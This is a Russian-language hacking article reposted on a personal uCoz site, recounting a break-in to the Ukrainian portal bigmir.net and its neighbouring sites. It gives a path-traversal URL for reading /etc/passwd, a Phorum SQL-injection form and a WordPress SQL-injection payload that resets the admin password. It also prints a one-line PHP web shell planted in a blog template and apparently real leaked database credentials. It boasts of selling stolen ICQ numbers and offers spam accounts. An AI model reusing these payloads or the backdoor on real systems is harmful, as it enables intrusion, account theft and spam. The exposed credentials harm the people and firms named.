Приветствую Вас на своем сайте!
Главная Форум Полезные файлы Музыка Cофт Профиль Фото галерея Выход Вход
  Менюшка

  Мини-чат

  Cыграйка

  Бонус wmr


Получите WMR-бонус
от 0,01 до 0,20 WMR на свой кошелек!

  Проголосуй

Скоко вам лет?
Всего ответов: 37

Взлом на bigmir.net (ICQ)

Нет ничего невозможного!

Я
принялся изучать локализованных партнеров Icq.Com в различных странах:
nana.co.il, rambler.ru, mynet.com, abv.bg, zoznam.sk, netvigator.com,
prosieben.de, atlas.cz и bigmir.net. Для этого я скачал крякнутый
сканер уязвимостей XSpider 7.5 (ссылку приводить не буду, поскольку это
незаконно, но ты можешь поискать ее сам на различных форумах,
посвященных хаку) и запустил его на своем компе с указанными выше
доменами для их проверки. Спустя час прога выдала мне первые результаты
:). Жертва была найдена - украинский портал bigmir.net с PR=8 по Гуглу
(в России сайтов с таким пиаром всего три).

Сама ядовитая ссылка выглядела так:

http://www.bigmir.net/?u=../../../../../../../../../../../../../../../etc/passwd%00

Очень похоже на локальный инклуд с null-байтом. Но, как позже
выяснилось, это было далеко не так. Этот баг позволял лишь
просматривать файлы в системе, а до выполнения php-кода дело не дошло.
Код в исходнике главной страницы Бигмира выглядит так:
$u = @$_GET['u'];
...
@readfile($staticDir .'rating'.$t.$u.'.html');

Просмотрев некоторые системные файлы (например,
www.bigmir.net/?u=../../../../../../../../../../usr/local/etc/apache22/extra/httpd-vhosts.conf%00),
я решил пока отложить эту уязвимость и идти дальше.
Хорошие соседи

Как видишь, даже в таком серьезном портале уже на главной странице
обнаружился очень серьезный баг. Но с него ничего хорошего поднять было
нельзя. Поэтому следующим моим шагом стало изучение сайтов,
расположенных на том же сервере, что и bigmir.net. Я зашел на всем
известный сервис IP-lookup http://domainsdb.net, вбил туда наш любимый
Бигмир и стал смотреть результаты.

На самом IP-адресе Бигмира
других сайтов не было, а вот на его же NS я увидел пару сайтиков:
http://korrespondent.net и http://ricardo.com.ua, ссылки на которые
были на главной странице нашего портала. Немного поизучав новых
пациентов, я наткнулся на их форумы (http://forum.korrespondent.net и
http://ricardo.com.ua/forum). Наметанный глаз сразу узнал скрипты
борды. И там, и там стоял Phorum. Но, чтобы начать какие-либо хакерские
действия, необходимо было узнать версию форума. Пройдя по ссылке
http://forum.korrespondent.net/admin.php, я обнаружил надпись: «Version
5.1.16a». Для нее, конечно, были известные баги, но паблик-сплоитов под
них не существует, а ковыряться с blind SQL-injection не позволяла
лень. Смотри сам, небольшой PoC-сплоит (работающий, конечно, после
логина на форум и подстановки существующих id форума и темы):
<html>
<body>
<form method=POST action="http://forum.korrespondent.net/pm.php">
<input type="hidden" name="recipients[123']" value="testers">
<input type="hidden" name="action" value="post" />
<input type="text" id="subject" name="subject" size="50" value="" />
<textarea id="message" name="message" rows="20" cols="50"></textarea>
<input type="hidden" name="forum_id" value="1" />
<input type="submit" name"test" value="test">
<input name="preview" value=" Preview " />
</body>
</html>

Далее я совершил те же самые действия и со вторым форумом, но админки
по этому адресу не было. В итоге, ковыряясь с этими форумами, я нашел
только одну интересную особенность: если пройти по ссылке
http://ricardo.com.ua/forum/docs, то в окне браузера можно наблюдать
следующую забавную картину:

Warning: main(./docs)
[function.main]: failed to open stream: Invalid argument in
/storage/web/htdocs/ricardo/pages/forum.tpl on line 47
Fatal
error: main() [function.require]: Failed opening required './docs'
(include_path='.:/usr/local/share/pear') in
/storage/web/htdocs/ricardo/pages/forum.tpl on line 47

Но, опять же это все была ерунда, нужен был более серьезный баг.
Истина где-то рядом

Выбрав в качестве своей основной жертвы http://korrespondent.net, я
продолжил хождение по этому ресурсу и через несколько минут наткнулся
на http://blog.korrespondent.net, на главной странице которого в самом
низу было написано: «Блог Korrespondent.net работает на WordPress».
Увидев эту надпись, я обрадовался, поскольку WordPress - крайне дырявый
движок, следовало только узнать его версию, для чего я прошел по ссылке
http://blog.korrespondent.net/readme.html. На открывшейся паге гордо
красовалась вторая обрадовавшая меня за последние несколько минут
надпись: «WordPress 1.5» :). Я ринулся на http://milw0rm.com, вбил там
в поиск название движка и увидел кучу очень неплохих сплоитов, из
которых выбрал Wordpress <= 1.5.1.3 Remote Code Execution eXploit
(metasploit), так как он был последним для ветки 1.5, запустил его и...
ничего не получил :(. Огорчению моему не было предела. Значит, на
исследуемом сайте стоял WordPress 1.5.2, для которого не было
паблик-сплоитов. Эта неудача вынудила меня забить на несколько дней на
взлом Бигмира.
WordPress под ударом

Естественно, этим
история не заканчивается :). Погуляв пару дней на свежем воздухе, я
подумал, а почему бы самому не поискать баги в движке блога, чем
немедленно и занялся. Зашел на официальный сайт движка
http://wordpress.org, далее - в архив раздела Download и скачал оттуда
последнюю версию из первой ветки - 1.5.2. Установил блог на локалхосте
и принялся за раскопки :). На поиск бага ушло несколько часов и пара
литров пива, я копал каждый файл, мучал параметры, листал исходники...
И в итоге мои старания были вознаграждены! Банальная скул-инъекция
присутствовала в файле ./wp-admin/user-edit.php в 69-й строке:

$result = $wpdb->query("UPDATE $wpdb->users SET user_login =
'$new_user_login', user_firstname = '$new_firstname', $updatepassword
user_lastname='$new_lastname', user_nickname='$new_nickname',
user_icq='$new_icq', user_email='$new_email', user_url='$new_url',
user_aim='$new_aim', user_msn='$new_msn', user_yim='$new_yim',
user_idmode='$new_idmode', user_description = '$new_description',
user_nicename = '$new_nicename' WHERE ID = $user_id");

Итак
(трубят фанфары)... У нас на операционном столе - новый приватный баг
WordPress, найденный твоим покорным слугой :). Для его использования
необходима регистрация на уязвимом блоге. Вообще он находится в файле
wp-register.php, но на Korrespondent.net была сделана общая регистрация
для всех сервисов сайта, поэтому, зарегавшись и залогинившись на сайте,
я прошел по ссылке http://korrespondent.net/wp-admin/user-edit.php и
сохранил страничку себе на винт. Далее, открыв ее в блокноте, я нашел
следующий участок html-кода:
<form name="edituser" id="edituser" action="user-edit.php" method="post">
<table width="99%" border="0" cellspacing="2" cellpadding="3">

Заменил его:
<form name="edituser" id="edituser" action="http://blog.korrespondent.net/wp-admin/user-edit.php" method="post">
<table width="99%" border="0" cellspacing="2" cellpadding="3">

Затем нашел hidden-поле с user_id и заменил его:
<textarea name="user_id" rows="5" id="new_description" style="width: 99%; "> </textarea>

После всех перечисленных действий я сохранил заряженную страницу и открыл ее в браузере.

Теперь необходимо сделать небольшое пояснение, касающееся найденной
уязвимости: из SQL-запроса видно, что при update пользовательского
профиля вообще не проверяется параметр $user_id, то есть таким образом
мы можем обновить профиль любого юзера, но прежде всего нам необходим
админ. Как просто и быстро поставить админу свой пароль? А вот как.

В нашей ядовитой страничке вписываем в поля с логином и паролем любые
логин и пароль, например tester/tester, а в бывшее hidden-поле вбиваем:
«-99 or user_level=10/*» (естественно, без кавычек). В итоге, наш
скул-запрос получается следующим:

UPDATE wp_users SET
user_login = 'tester', user_firstname = '',user_pass=MD5('tester'),
user_lastname='', user_nickname='', user_icq='', user_email='',
user_url='', user_aim='', user_msn='', user_yim='', user_idmode='',
user_description = '', user_nicename = '' WHERE ID =-99 or
user_level=10/*

Так как юзера с ID=-99 однозначно не
существует в базе данных, обновятся данные лишь юзера с user_level=10,
то есть данные админа :).
Ленивые админы

Став админом
blog.korrespondent.net, я задумался над получением шелла на сервере.
Скажу по секрету: у меня есть еще один обнаруженный мной приватный баг,
позволяющий легко и безболезненно получать шелл из админок WordPress
версий 1.5-2.1. Но тебе хватит и предыдущего привата :). Эта уязвимость
все равно мне не понадобилась, поскольку, зайдя в «Редактор шаблонов»,
я увидел, что все php-файлы в template-директории открыты на запись.
Теперь необходимо было тайно встроить свой шелл в один из уязвимых
файлов. Я быстро набросал следующий php-код:
isset($_GET[fuckkk]) ? print `$_GET[fuckkk]` : '';
?>

И вписал его в template шапки блога. Таким образом, по адресу
http://blog.korrespondent.net можно было видеть обычный блог, а на
http://blog.korrespondent.net/?fuckkk=[команда] - красивый и удобный
шелл :).

А дальше я начал изучение сервера bigmir.net. В
первую очередь меня интересовала база данных Бигмира. Отправившись на
поиске параметров подключения к базе, я нашел файл
/storage/web/htdocs/bigmir/bigmir2/config.php, в котором находились
следующие строки:
// production
define('BM_DB_HOST', 'cbd2.sm');
define('BM_DB_USER', 'bigmir');
define('BM_DB_PASS', 'NacDagegWukecBi');

Далее я закачал на сервер скрипт управления БД от RusH Security Team
(http://mentat.sibintercom.ru/Nemo/dump/rst_sql.txt, на официальном
сайте скрипт недоступен) и поставил его по адресу
http://files.korrespondent.net/img/forall/a/4/header.php. Залогинившись
с полученными данными, я минуту наблюдал долгожданную картину - все
таблицы Бигмира были передо мной :). Немного походив по ним, я нашел
таблицу с юзерами в bm_global.user. Полтора миллиона регистраций, все
пароли к аськам в открытом виде! Ну не чудо ли?
Что дальше?

Продав все пяти-, шести- и семизначные номера из базы Бигмира с помощью
друзей, я задумался, а что же делать дальше? Перспективы открывались
огромные: во-первых, в моих руках был клиентский API партнеров icq.com
(наблюдать его ты также можешь на скриншоте в журнале); во-вторых, мой
шелл на протяжении двух недель никто не палил; а в-третьих, я нашел
таблицу с админами Бигмира и у меня был доступ к
http://admin.bigmir.net (сейчас доступ к админке возможен лишь с
определенных IP-адресов).

Решив пойти по пути наименьшего
сопротивления, я стал изучать регу номеров. В результате в файле
/storage/web/htdocs/bigmir/include/icq_ips_class.php я увидел следующую
функцию:

function register($password, $email, $nickName,
$firstName = false, $lastName = false, $birthDay = false, $sex = false,
$country = false, $city = false, $state = false)
{
...
}

И стал ваять автореггер ICQ-уинов. Создал php-гейт на Бигмире, где в
цикле запустил указанную выше функцию, затем на том же php написал
клиент к этому гейту и с помощью программы php2exe, которую ты можешь
часто видеть на дисках, прилагаемых к журналу, перевел его в экзешник.
Процитирую одного из первых покупателей этой программы (kaleostra):
«Купил - доволен; итак, тесты: 10 мин, 4100 номеров с семи копий, 410 в
минуту с семи копий, 59 номеров в минуту с копии! Ресурсы не жрет
вообще».

Как видишь, результаты ошеломляющие :). Но этого
было, как обычно, мало. За несколько часов товарищ Cash написал
GUI-интерфейс на Delphi с поддержкой потоков, и получилась довольно
симпатичная прога, которую ты можешь наблюдать на скриншоте. За одну
ночь 4 человека зарегали более полумиллиона уинов, в результате Бигмир
повис надолго. Затем была отключена регистрация номеров, и на сервере
украинского портала стали проводиться какие-то технические работы.
Через день все мои бэкдор-шеллы удалили, был установлен WordPress
последней версии и изменены пароли всех админов Бигмира. Но меня это
ничуть не расстроило :). Покопавшись в слитом движке Бигмира, я нашел
скул-инъекцию, с помощью которой снова получил доступ к базе данных :).
Правда, через несколько часов его перекрыли.

В итоге, было
продано очень много элитнейших уинов, зарегистрировано очень много
девяток для спама (у меня самого до сих пор лежит около 250k, если
будут нужны - обращайся), и, что самое главное, был подорван авторитет
не только локализованного партнера icq.com http://bigmir.net, но и
всего AOL'а.

На этом следует остановиться. Как видишь, даже
очень крупные проекты не могут устоять перед хакерами. Стоит
задуматься, какой из локализованных партнеров будет следующей жертвой
безжалостного ICQ хакерского андеграунда? wink


  Личный кабинет

Привет: Зашедший

Сообщения:
$$$ для web-мастеров
Гость, мы рады вас видеть. Пожалуйста
зарегистрируйтесь или
авторизуйтесь!

  Календарь

«  Октябрь 2019  »
ПнВтСрЧтПтСбВс
 123456
78910111213
14151617181920
21222324252627
28293031

  Наши Друзья

Effectt.com - система обмена ссылками. обмен ссылками: добавить ссылку, прямые ссылки

Получить WMR-бонус на свой кошелек!
Linq.RU - Обмен ссылками
  Статистика сайта

Всего connect: 1
Зашедших: 1
Зареганых: 0

статистика Top 100: Развлечения, игры, юмор Бесплатная раскрутка сайта
Copyright Epidemic © 2019Используются технологии uCoz